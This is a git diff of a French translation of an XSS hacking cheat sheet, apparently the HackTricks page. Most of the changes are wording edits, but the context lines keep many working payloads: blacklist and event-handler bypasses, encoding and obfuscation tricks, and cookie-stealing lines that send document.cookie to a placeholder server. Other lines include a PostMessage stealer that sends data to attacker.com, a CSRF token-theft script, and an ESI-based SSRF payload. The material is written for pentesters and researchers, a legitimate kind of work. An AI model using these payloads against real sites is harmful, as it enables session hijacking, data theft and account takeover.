@ -132,7 +132,7 @@ Il y a du **code JS** qui utilise de manière **non sécurisée** des **données
|
|||
|
||||
### **XSS Universel**
|
||||
|
||||
Ce type de XSS peut être trouvé **partout**. Ils ne dépendent pas seulement de l'exploitation côté client d'une application web mais de **tout** **contexte**. Ce type d'**exécution de JavaScript arbitraire** peut même être abusé pour obtenir une **RCE**, **lire** des **fichiers arbitraires** sur les clients et les serveurs, et plus encore.\
|
||||
Ce type de XSS peut être trouvé **partout**. Ils ne dépendent pas seulement de l'exploitation côté client d'une application web mais de **tout** **contexte**. Ce type d'**exécution de JavaScript arbitraire** peut même être abusé pour obtenir une **RCE**, **lire** des **fichiers** **arbitraires** sur les clients et les serveurs, et plus encore.\
|
||||
Quelques **exemples** :
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
|
@ -159,10 +159,10 @@ Dans ce cas, et si aucune liste noire/liste blanche n'est utilisée, vous pourri
|
|||
<img src=x onerror=alert(1) />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Mais, si la liste blanche/noire des balises/attributs est utilisée, vous devrez **forcer de manière brutale quelles balises** vous pouvez créer.\
|
||||
Mais, si la liste noire/liste blanche des balises/attributs est utilisée, vous devrez **forcer de manière brutale quelles balises** vous pouvez créer.\
|
||||
Une fois que vous avez **repéré quelles balises sont autorisées**, vous devrez **forcer de manière brutale les attributs/événements** à l'intérieur des balises valides trouvées pour voir comment vous pouvez attaquer le contexte.
|
||||
|
||||
### Forcer de manière brutale les balises/événements
|
||||
### Forçage brutal des balises/événements
|
||||
|
||||
Allez sur [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) et cliquez sur _**Copier les balises dans le presse-papiers**_. Ensuite, envoyez-les toutes en utilisant Burp Intruder et vérifiez si des balises n'ont pas été découvertes comme malveillantes par le WAF. Une fois que vous avez découvert quelles balises vous pouvez utiliser, vous pouvez **forcer de manière brutale tous les événements** en utilisant les balises valides (sur la même page web, cliquez sur _**Copier les événements dans le presse-papiers**_ et suivez la même procédure qu'auparavant).
|
||||
|
||||
|
@ -174,7 +174,7 @@ Si vous n'avez trouvé aucune balise HTML valide, vous pourriez essayer de **cr
|
|||
```
|
||||
### Contournement de liste noire
|
||||
|
||||
Si une sorte de liste noire est utilisée, vous pourriez essayer de la contourner avec quelques astuces ridicules :
|
||||
Si une sorte de liste noire est utilisée, vous pouvez essayer de la contourner avec quelques astuces ridicules :
|
||||
```javascript
|
||||
//Random capitalization
|
||||
<script> --> <ScrIpT>
|
||||
|
@ -249,7 +249,7 @@ Si vous pensez simplement que **il est impossible de créer une balise HTML avec
|
|||
|
||||
## Injection à l'intérieur de la balise HTML
|
||||
|
||||
### À l'intérieur de la balise/échappement de la valeur de l'attribut
|
||||
### À l'intérieur de la balise/échapper à partir de la valeur de l'attribut
|
||||
|
||||
Si vous êtes **à l'intérieur d'une balise HTML**, la première chose que vous pourriez essayer est de **s'échapper** de la balise et d'utiliser certaines des techniques mentionnées dans la [section précédente](./#injecting-inside-raw-html) pour exécuter du code JS.\
|
||||
Si vous **ne pouvez pas vous échapper de la balise**, vous pourriez créer de nouveaux attributs à l'intérieur de la balise pour essayer d'exécuter du code JS, par exemple en utilisant une charge utile comme (_notez que dans cet exemple, les guillemets doubles sont utilisés pour s'échapper de l'attribut, vous n'en aurez pas besoin si votre entrée est reflétée directement à l'intérieur de la balise_):
|
||||
|
@ -272,7 +272,7 @@ Si vous **ne pouvez pas vous échapper de la balise**, vous pourriez créer de n
|
|||
Même si vous **ne pouvez pas vous échapper de l'attribut** (`"` est encodé ou supprimé), en fonction de **quel attribut** votre valeur est reflétée dans **si vous contrôlez toute la valeur ou juste une partie** vous pourrez en abuser. Par **exemple**, si vous contrôlez un événement comme `onclick=`, vous pourrez le faire exécuter du code arbitraire lorsqu'il est cliqué.\
|
||||
Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter du code arbitraire : **`href="javascript:alert(1)"`**
|
||||
|
||||
**Contournement à l'intérieur de l'événement en utilisant l'encodage HTML/l'encodage d'URL**
|
||||
**Contourner à l'intérieur de l'événement en utilisant l'encodage HTML/l'encodage d'URL**
|
||||
|
||||
Les **caractères encodés en HTML** à l'intérieur de la valeur des attributs des balises HTML sont **décodés à l'exécution**. Par conséquent, quelque chose comme ce qui suit sera valide (le payload est en gras) : `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Retour </a>`
|
||||
|
||||
|
@ -327,7 +327,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
|||
```
|
||||
**Endroits où vous pouvez injecter ces protocoles**
|
||||
|
||||
**En général**, le protocole `javascript:` peut être **utilisé dans n'importe quelle balise qui accepte l'attribut `href`** et dans **la plupart** des balises qui acceptent l'attribut `src` (mais pas `<img`)
|
||||
**En général**, le protocole `javascript:` peut être **utilisé dans n'importe quelle balise qui accepte l'attribut `href`** et dans **la plupart** des balises qui acceptent l'attribut **`src`** (mais pas `<img`)
|
||||
```markup
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
|
@ -363,7 +363,7 @@ Notez que si vous essayez d'**utiliser à la fois** `URLencode + HTMLencode` dan
|
|||
|
||||
**Utilisation de l'encodage hexadécimal et octal avec `javascript:`**
|
||||
|
||||
Vous pouvez utiliser l'**encodage hexadécimal** et **octal** à l'intérieur de l'attribut `src` de `iframe` (au moins) pour déclarer des **balises HTML pour exécuter du JS**:
|
||||
Vous pouvez utiliser l'**encodage hexadécimal** et **octal** à l'intérieur de l'attribut `src` de `iframe` (au moins) pour déclarer des **balises HTML à exécuter JS**:
|
||||
```javascript
|
||||
//Encoded: <svg onload=alert(1)>
|
||||
// This WORKS
|
||||
|
@ -389,8 +389,8 @@ Si vous pouvez injecter n'importe quelle URL dans une balise **`<a href=`** arbi
|
|||
|
||||
### Contournement des gestionnaires d'événements
|
||||
|
||||
Tout d'abord, consultez cette page ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) pour des **gestionnaires d'événements "on"** utiles.\
|
||||
Au cas où il y aurait une liste noire vous empêchant de créer ces gestionnaires d'événements, vous pouvez essayer les contournements suivants:
|
||||
Tout d'abord, consultez cette page ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) pour des **gestionnaires d'événements commençant par "on"** utiles.\
|
||||
Si une liste noire vous empêche de créer ces gestionnaires d'événements, vous pouvez essayer les contournements suivants:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
|
@ -407,12 +407,12 @@ Android: %09 %20 %28 %2C %3B
|
|||
```
|
||||
### XSS dans les "Balises non exploitables" (input caché, lien, canonique, meta)
|
||||
|
||||
À partir de [**ici**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **il est maintenant possible d'abuser des inputs cachés avec :**
|
||||
À partir de [**ici**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags), il est désormais possible d'abuser des inputs cachés avec :
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
||||
```
|
||||
Et dans les **balises meta** :
|
||||
Et dans **balises meta** :
|
||||
```html
|
||||
<!-- Injection inside meta attribute-->
|
||||
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
|
||||
|
@ -430,23 +430,23 @@ Et dans les **balises meta** :
|
|||
|
||||
Plusieurs astuces utilisant différents encodages ont déjà été exposées dans cette section. Retournez en arrière pour apprendre où vous pouvez utiliser :
|
||||
|
||||
* **Encodage HTML (balises HTML)**
|
||||
* **Encodage Unicode (peut être un code JS valide) :** `\u0061lert(1)`
|
||||
* **Encodage d'URL**
|
||||
* **Encodage hexadécimal et octal**
|
||||
* **Encodage de données**
|
||||
* Encodage HTML (balises HTML)
|
||||
* Encodage Unicode (peut être un code JS valide) : `\u0061lert(1)`
|
||||
* Encodage d'URL
|
||||
* Encodage hexadécimal et octal
|
||||
* Encodage de données
|
||||
|
||||
**Contournements pour les balises et attributs HTML**
|
||||
|
||||
Lisez les [Contournements de liste noire de la section précédente](./#blacklist-bypasses).
|
||||
Consultez les [Contournements de liste noire de la section précédente](./#blacklist-bypasses).
|
||||
|
||||
**Contournements pour le code JavaScript**
|
||||
|
||||
Lisez les [Contournements de liste noire JavaScript de la section suivante](./#javascript-bypass-blacklists-techniques).
|
||||
Consultez les [Contournements de liste noire JavaScript de la section suivante](./#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### Gadgets CSS
|
||||
|
||||
Si vous trouvez un **XSS dans une toute petite partie** du site web qui nécessite une sorte d'interaction (peut-être un petit lien dans le pied de page avec un élément onmouseover), vous pouvez essayer de **modifier l'espace occupé par cet élément** pour maximiser les chances que le lien soit déclenché.
|
||||
Si vous trouvez une XSS dans une toute petite partie du web qui nécessite une sorte d'interaction (peut-être un petit lien dans le pied de page avec un élément onmouseover), vous pouvez essayer de **modifier l'espace que l'élément occupe** pour maximiser les chances de déclenchement du lien.
|
||||
|
||||
Par exemple, vous pourriez ajouter un style à l'élément comme ceci : `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
|
@ -464,13 +464,13 @@ Maintenant, vous pouvez modifier notre lien et le mettre sous la forme
|
|||
|
||||
Cette astuce a été tirée de [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
|
||||
|
||||
## Injection à l'intérieur du code JavaScript
|
||||
## Injection dans le code JavaScript
|
||||
|
||||
Dans ce cas, votre **entrée** sera **réfléchie à l'intérieur du code JS** d'un fichier `.js` ou entre les balises `<script>...</script>` ou entre les événements HTML qui peuvent exécuter du code JS ou entre les attributs qui acceptent le protocole `javascript:`.
|
||||
|
||||
### Échapper à la balise \<script>
|
||||
|
||||
Si votre code est inséré dans `<script> [...] var input = 'données réfléchies' [...] </script>`, vous pourriez facilement **échapper à la fermeture de la balise `<script>`** :
|
||||
Si votre code est inséré dans `<script> [...] var input = 'données réfléchies' [...] </script>`, vous pouvez facilement **échapper à la fermeture de la balise `<script>`** :
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
|
@ -484,10 +484,10 @@ Si `<>` sont en train d'être nettoyés, vous pouvez toujours échapper la chaî
|
|||
';alert(document.domain)//
|
||||
\';alert(document.domain)//
|
||||
```
|
||||
### Modèles de chaînes de caractères \`\`
|
||||
### Modèles de littéraux \`\`
|
||||
|
||||
Pour construire des **chaînes de caractères** en dehors des guillemets simples et doubles, JS accepte également les **backticks** **` `` `**. Cela est connu sous le nom de modèles de chaînes de caractères car ils permettent d'**intégrer des expressions JS** en utilisant la syntaxe `${ ... }`.\
|
||||
Par conséquent, si vous constatez que votre entrée est **réfléchie** à l'intérieur d'une chaîne de caractères JS qui utilise des backticks, vous pouvez abuser de la syntaxe `${ ... }` pour exécuter du **code JS arbitraire** :
|
||||
Pour construire des **chaînes de caractères** en dehors des guillemets simples et doubles, JS accepte également les **backticks** **` `` `**. Cela est connu sous le nom de modèles de littéraux car ils permettent d'**intégrer des expressions JS** en utilisant la syntaxe `${ ... }`.\
|
||||
Par conséquent, si vous constatez que votre entrée est **réfléchie** à l'intérieur d'une chaîne JS qui utilise des backticks, vous pouvez abuser de la syntaxe `${ ... }` pour exécuter du **code JS arbitraire** :
|
||||
|
||||
Cela peut être **abusé** en utilisant :
|
||||
```javascript
|
||||
|
@ -559,7 +559,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
|||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**Sauts de ligne JavaScript (à partir de** [**astuce de saut de ligne JavaScript**](./#javascript-new-lines) **)**
|
||||
**Nouvelles lignes JavaScript (à partir de** [**astuce de nouvelle ligne JavaScript**](./#javascript-new-lines) **)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
|
||||
|
@ -732,7 +732,7 @@ top[8680439..toString(30)](1)
|
|||
## **Vulnérabilités DOM**
|
||||
|
||||
Il y a du **code JS** qui utilise des **données contrôlées de manière non sécurisée par un attaquant** comme `location.href`. Un attaquant pourrait en abuser pour exécuter du code JS arbitraire.\
|
||||
**En raison de l'extension de l'explication des** [**vulnérabilités DOM, elle a été déplacée vers cette page**](dom-xss.md)**:**
|
||||
**En raison de l'extension de l'explication des** [**vulnérabilités DOM, elle a été déplacée sur cette page**](dom-xss.md)**:**
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
|
@ -754,7 +754,7 @@ Vous pourriez vérifier si les **valeurs réfléchies** sont **normalisées en U
|
|||
### Contournement Ruby-On-Rails
|
||||
|
||||
En raison des **affectations de masse RoR**, des guillemets sont insérés dans le HTML, puis la restriction des guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\
|
||||
Par exemple ([à partir de ce rapport](https://hackerone.com/reports/709336)), si vous envoyez la charge utile :
|
||||
Par exemple de formulaire ([à partir de ce rapport](https://hackerone.com/reports/709336)), si vous envoyez la charge utile :
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
|
@ -762,7 +762,7 @@ La paire "Clé","Valeur" sera renvoyée comme ceci :
|
|||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
Ensuite, l'attribut onfocus sera inséré et XSS se produit.
|
||||
Ensuite, l'attribut onfocus sera inséré et une XSS se produira.
|
||||
|
||||
### Combinaisons spéciales
|
||||
```markup
|
||||
|
@ -811,7 +811,7 @@ Si vous êtes capable d'indiquer le **callback** que JavaScript va **exécuter**
|
|||
|
||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') car son type MIME (‘application/octet-stream’) n'est pas exécutable, et la vérification stricte du type MIME est activée.
|
||||
|
||||
Les seuls **types de contenu** qui permettront à Chrome d'exécuter un **script chargé** sont ceux à l'intérieur de la constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
Les seuls **types de contenu** qui permettront à Chrome d'exécuter un **script chargé** sont ceux à l'intérieur de la constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
|
@ -869,7 +869,7 @@ import moment from "moment";
|
|||
import { partition } from "lodash";
|
||||
</script>
|
||||
```
|
||||
Ce comportement a été utilisé dans [**cette analyse**](https://github.com/zwade/yaca/tree/master/solution) pour remapper une bibliothèque vers eval afin de l'exploiter et déclencher une XSS.
|
||||
Ce comportement a été utilisé dans [**cette explication**](https://github.com/zwade/yaca/tree/master/solution) pour remapper une bibliothèque vers eval afin de l'exploiter et déclencher une XSS.
|
||||
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Cette fonctionnalité vise principalement à résoudre certains problèmes causés par le pré-rendu. Cela fonctionne de la manière suivante :
|
||||
```html
|
||||
|
@ -889,7 +889,7 @@ Ce comportement a été utilisé dans [**cette analyse**](https://github.com/zwa
|
|||
```
|
||||
### Types de contenu Web pour XSS
|
||||
|
||||
(Depuis [**ici**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Les types de contenu suivants peuvent exécuter XSS dans tous les navigateurs :
|
||||
(De [**ici**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Les types de contenu suivants peuvent exécuter XSS dans tous les navigateurs :
|
||||
|
||||
* text/html
|
||||
* application/xhtml+xml
|
||||
|
@ -914,7 +914,7 @@ Si la page renvoie un type de contenu text/xml, il est possible d'indiquer un es
|
|||
```
|
||||
### Modèles de Remplacement Spéciaux
|
||||
|
||||
Lorsque quelque chose comme **`"des données {{modèle}}".replace("{{modèle}}", <entrée_utilisateur>)`** est utilisé. L'attaquant pourrait utiliser des [**remplacements de chaîne spéciaux**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) pour tenter de contourner certaines protections : ``"123 {{modèle}} 456".replace("{{modèle}}", JSON.stringify({"nom": "$'$`alert(1)//"}))``
|
||||
Lorsque quelque chose comme **`"some {{template}} data".replace("{{template}}", <user_input>)`** est utilisé. L'attaquant pourrait utiliser [**des remplacements de chaînes spéciaux**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) pour tenter de contourner certaines protections : ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
|
||||
Par exemple, dans [**cette explication**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), cela a été utilisé pour **échapper une chaîne JSON** à l'intérieur d'un script et exécuter du code arbitraire.
|
||||
|
||||
|
@ -1019,7 +1019,7 @@ trigger()
|
|||
```
|
||||
### Obfuscation & Contournement Avancé
|
||||
|
||||
* **Différentes obfuscations sur une page :** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
* **Différentes obfuscations sur une seule page:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
|
@ -1052,15 +1052,15 @@ trigger()
|
|||
```javascript
|
||||
// It's also possible to execute JS code only with the chars: []`+!${}
|
||||
```
|
||||
## Charges utiles XSS courantes
|
||||
## Payloads XSS courants
|
||||
|
||||
### Plusieurs charges utiles en 1
|
||||
### Plusieurs payloads en 1
|
||||
|
||||
{% content-ref url="steal-info-js.md" %}
|
||||
[steal-info-js.md](steal-info-js.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Récupérer les cookies
|
||||
### Récupérer les Cookies
|
||||
```javascript
|
||||
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
|
||||
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
|
||||
|
@ -1187,7 +1187,7 @@ Lorsque des données sont saisies dans le champ du mot de passe, le nom d'utilis
|
|||
|
||||
### Enregistreur de frappe
|
||||
|
||||
En cherchant simplement sur Github, j'en ai trouvé quelques-uns différents :
|
||||
En cherchant simplement sur github, j'en ai trouvé quelques-uns différents :
|
||||
|
||||
* [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||
* [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||
|
@ -1211,7 +1211,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
|
|||
```
|
||||
### Vol de messages PostMessage
|
||||
|
||||
In this scenario, an attacker can inject malicious code into a vulnerable web application to steal messages sent via the `PostMessage` API. The attacker can then use this stolen information for further exploitation or data exfiltration.
|
||||
Stealing PostMessage messages
|
||||
```markup
|
||||
<img src="https://attacker.com/?" id=message>
|
||||
<script>
|
||||
|
@ -1219,13 +1219,13 @@ window.onmessage = function(e){
|
|||
document.getElementById("message").src += "&"+e.data;
|
||||
</script>
|
||||
```
|
||||
### Abuser les Travailleurs de Service
|
||||
### Abus des Travailleurs de Service
|
||||
|
||||
{% content-ref url="abusing-service-workers.md" %}
|
||||
[abusing-service-workers.md](abusing-service-workers.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Accéder au Shadow DOM
|
||||
### Accès au DOM de l'Ombre
|
||||
|
||||
{% content-ref url="shadow-dom.md" %}
|
||||
[shadow-dom.md](shadow-dom.md)
|
||||
|
@ -1235,7 +1235,7 @@ document.getElementById("message").src += "&"+e.data;
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
|
||||
|
||||
### Charges utiles Blind XSS
|
||||
### Charges Utiles XSS Aveugles
|
||||
|
||||
Vous pouvez également utiliser: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```markup
|
||||
|
@ -1279,7 +1279,7 @@ Vous pouvez également utiliser: [https://xsshunter.com/](https://xsshunter.com)
|
|||
```
|
||||
### Regex - Accéder au contenu caché
|
||||
|
||||
À partir de [**cette analyse**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), il est possible d'apprendre que même si certaines valeurs disparaissent du JS, il est toujours possible de les trouver dans les attributs JS de différents objets. Par exemple, il est toujours possible de trouver une entrée d'une REGEX après que la valeur de l'entrée de la REGEX ait été supprimée :
|
||||
D'après [**cette analyse**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), il est possible de découvrir que même si certaines valeurs disparaissent du JS, il est toujours possible de les trouver dans les attributs JS de différents objets. Par exemple, il est toujours possible de trouver une entrée d'une REGEX après que la valeur de l'entrée de la REGEX ait été supprimée :
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag="CTF{FLAG}"
|
||||
|
@ -1298,11 +1298,11 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
|
||||
|
||||
## Exploitation XSS d'autres vulnérabilités
|
||||
## XSS Abusant d'autres vulnérabilités
|
||||
|
||||
### XSS dans Markdown
|
||||
|
||||
Peut-on injecter du code Markdown qui sera rendu ? Peut-être pouvez-vous obtenir du XSS ! Vérifiez :
|
||||
Peut injecter du code Markdown qui sera rendu ? Peut-être pouvez-vous obtenir du XSS ! Vérifiez :
|
||||
|
||||
{% content-ref url="xss-in-markdown.md" %}
|
||||
[xss-in-markdown.md](xss-in-markdown.md)
|
||||
|
@ -1310,7 +1310,7 @@ Peut-on injecter du code Markdown qui sera rendu ? Peut-être pouvez-vous obteni
|
|||
|
||||
### XSS vers SSRF
|
||||
|
||||
Avez-vous obtenu du XSS sur un **site qui utilise du caching** ? Essayez de **le transformer en SSRF** en utilisant une Injection Edge Side Include avec cette charge utile :
|
||||
Avez-vous obtenu du XSS sur un **site qui utilise du caching** ? Essayez de **le mettre à niveau vers SSRF** en utilisant une Injection Edge Side Include avec cette charge utile :
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
|
@ -1319,8 +1319,8 @@ Plus d'informations sur cette technique ici: [**XSLT**](../xslt-server-side-inje
|
|||
|
||||
### XSS dans les PDF créés dynamiquement
|
||||
|
||||
Si une page web crée un PDF en utilisant une entrée contrôlée par l'utilisateur, vous pouvez essayer de **tromper le bot** qui crée le PDF pour **exécuter du code JS arbitraire**.\
|
||||
Ainsi, si le **bot créateur de PDF trouve** des sortes de **balises HTML**, il va les **interpréter**, et vous pouvez **abuser** de ce comportement pour provoquer un **XSS côté serveur**.
|
||||
Si une page web crée un PDF en utilisant une entrée contrôlée par l'utilisateur, vous pouvez essayer de **tromper le robot** qui crée le PDF pour **exécuter du code JS arbitraire**.\
|
||||
Ainsi, si le **robot créateur de PDF trouve** des sortes de **balises HTML**, il va les **interpréter**, et vous pouvez **abuser** de ce comportement pour provoquer un **XSS côté serveur**.
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
||||
|
@ -1336,7 +1336,7 @@ Si vous ne pouvez pas injecter de balises HTML, il pourrait être utile d'essaye
|
|||
|
||||
AMP, visant à accélérer les performances des pages web sur les appareils mobiles, intègre des balises HTML complétées par JavaScript pour garantir la fonctionnalité avec un accent sur la vitesse et la sécurité. Il prend en charge une gamme de composants pour diverses fonctionnalités, accessibles via [composants AMP](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
Le format [**AMP pour les e-mails**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) étend des composants AMP spécifiques aux e-mails, permettant aux destinataires d'interagir avec le contenu directement dans leurs e-mails.
|
||||
Le format [**AMP pour Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) étend des composants AMP spécifiques aux e-mails, permettant aux destinataires d'interagir avec le contenu directement dans leurs e-mails.
|
||||
|
||||
Exemple de [**writeup XSS dans Amp4Email dans Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
|
@ -1414,9 +1414,9 @@ Trouvez **plus de charges utiles SVG dans** [**https://github.com/allanlw/svg-ch
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -1424,7 +1424,7 @@ Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossi
|
|||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
|